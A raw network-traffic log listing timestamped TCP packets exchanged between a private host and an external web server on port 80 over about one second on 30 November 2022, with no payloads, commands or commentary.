Nov 30, 2022 00:11:09.240020037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240036964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240053892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240066051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240091085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240096092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240123034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240135908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240165949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240186930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240197897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240209103 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240238905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240263939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240267992 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240294933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240310907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240326881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240343094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240370035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240389109 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240390062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240390062 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240400076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240420103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240428925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240443945 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240458965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240487099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240489006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240508080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240514040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240524054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240542889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240570068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240587950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240587950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240598917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240612984 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240627050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240643024 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240654945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240664959 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240683079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240700006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240711927 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240731955 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240740061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240756989 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240767956 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240787029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240797043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240811110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240825891 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240833044 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240854025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240869999 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240881920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240894079 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240911007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240930080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240940094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240953922 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240967989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.240983963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.240997076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.241007090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.241027117 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.241025925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.241056919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.241071939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.241095066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.242922068 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.285476923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.285676956 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.370309114 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.370554924 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.390938997 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.394412994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.661911964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.661950111 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.662139893 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.664438963 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664522886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664591074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664628983 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.664660931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664724112 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664737940 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.664792061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664855003 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.664859056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664923906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.664974928 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.664987087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665055037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665102005 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665122986 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665188074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665235043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665252924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665323019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665374994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665391922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665460110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665509939 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665528059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665591955 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665640116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665657043 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665723085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665776014 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665790081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665854931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665900946 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.665920019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.665986061 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666033030 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666049957 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666116953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666166067 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666182995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666253090 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666307926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666346073 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666389942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666440010 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666459084 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666523933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666563988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666570902 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666614056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666657925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666670084 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666699886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666743994 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666743994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666807890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666861057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.666872025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.666991949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667048931 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667058945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667104006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667148113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667150021 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667205095 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667254925 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667289019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667361975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667421103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667438030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667495012 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667536020 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667538881 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667582989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667649031 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667650938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667717934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667764902 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.667910099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.667980909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668035984 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668051004 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668123007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668174028 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668179035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668224096 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668268919 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668267965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668312073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668365002 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668379068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668464899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668500900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668509960 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668560028 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668603897 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668605089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668677092 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668716908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668728113 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668803930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668840885 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668850899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668895960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668941021 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668951988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.668984890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.668994904 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669029951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669030905 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669081926 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669090033 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669143915 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669161081 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669213057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669240952 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669289112 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669290066 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669334888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669343948 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669383049 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669403076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669454098 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669472933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669519901 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669542074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669594049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669595957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669636965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669641018 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669677973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669678926 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669720888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669730902 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669764996 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669768095 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669807911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669836998 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669850111 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669850111 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.669900894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.669967890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670017958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670039892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670083046 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670089006 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670125008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670141935 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670170069 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670191050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670234919 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670247078 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670288086 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670317888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670356035 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670412064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670454025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670496941 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670543909 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670547962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670588970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670609951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670681953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670738935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670780897 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670830011 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670845032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.670890093 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670907021 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.670917988 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671004057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671036005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671075106 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.671096087 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671128988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.671128988 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.671142101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671185017 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671188116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.671228886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671230078 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.671293974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671363115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671391964 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.671490908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671535969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671576977 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671649933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671683073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.671895981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.689528942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.931943893 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.931994915 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.932061911 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.932136059 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.941906929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.941941023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.941987038 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942013979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942033052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942040920 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942056894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942066908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942106962 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942116022 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942143917 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942148924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942172050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942173004 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942189932 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942219973 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942224979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942243099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942257881 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942281961 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942286015 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942311049 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942327023 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942334890 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942343950 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942358971 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942375898 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942399979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942415953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942451954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942456961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942486048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942508936 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942512989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942524910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942549944 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942567110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942612886 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942619085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942641020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942653894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942667961 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942699909 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942713022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942724943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942738056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942750931 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942774057 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942780018 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942802906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942816973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942842007 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942843914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942898035 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942935944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942961931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.942980051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.942986965 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943005085 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943044901 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943048954 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:09.943089008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:09.943095922 CET	49725	80	192.168.2.6	123.253.32.170
